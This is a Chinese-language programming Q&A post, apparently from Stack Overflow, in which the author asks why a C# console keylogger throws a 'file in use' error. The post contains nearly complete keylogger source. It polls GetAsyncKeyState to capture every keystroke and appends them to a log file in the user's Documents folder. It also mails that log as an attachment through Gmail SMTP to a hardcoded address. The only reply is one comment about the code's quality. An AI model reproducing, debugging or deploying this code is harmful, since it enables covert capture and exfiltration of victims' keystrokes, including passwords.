【发布时间】:2017-06-03 13:34:56
【问题描述】:
在指南的帮助下创建了控制台键盘记录器,但有一个问题:
行using (StreamWriter sw = File.AppendText(path)) 给出错误
附加信息:该进程无法访问文件“C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt”,因为它正被另一个进程使用。
在LogKeys(); 方法中
(第一次写到这里抱歉问题的错误)
使用的库:
using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;
我的代码:
static void Main(string[] args)
{
Path();
SendMail();
LogKeys();
}
给出错误的 Mathow:
static void LogKeys()
{
String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
filepath = filepath + @"\LogsFolder\";
KeysConverter converter = new KeysConverter();
string text = "";
string path = (@filepath + "LoggedKeys.txt");
while (true)
{
Thread.Sleep(5);
for (Int32 i = 0; i < 2000; i++)
{
int key = GetAsyncKeyState(i);
if (key == 1 || key == -32767)
{
text = converter.ConvertToString(i);
using (StreamWriter sw = File.AppendText(path))
{
sw.WriteLine(text);
}
break;
}
}
}
}
方法创建路径和文件(如果不存在)
static void Path()
{
String filepath =
Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
filepath = filepath + @"\LogsFolder\";
if (!Directory.Exists(filepath))
{
Directory.CreateDirectory(filepath);
}
string path = (@filepath + "LoggedKeys.txt");
if (!File.Exists(path))
{
using (StreamWriter sw = File.CreateText(path))
{
}
}
}
发送邮件的方法
static void SendMail()
{
String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
DateTime dateTime = DateTime.Now;
string subtext = "Loggedfiles";
subtext += dateTime;
SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
MailMessage LOGMESSAGE = new MailMessage();
LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
LOGMESSAGE.To.Add("logkeysforme@gmail.com");
LOGMESSAGE.Subject = subtext;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
System.Threading.Thread.Sleep(2);
LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
LOGMESSAGE.Body = subtext;
client.Send(LOGMESSAGE);
LOGMESSAGE = null;
}
【问题讨论】:
-
if (20 == 20), while (5>1)???请在提问前删除无意义的代码。没有人愿意为了理解你的代码而解密这些东西。请写minimal reproducible example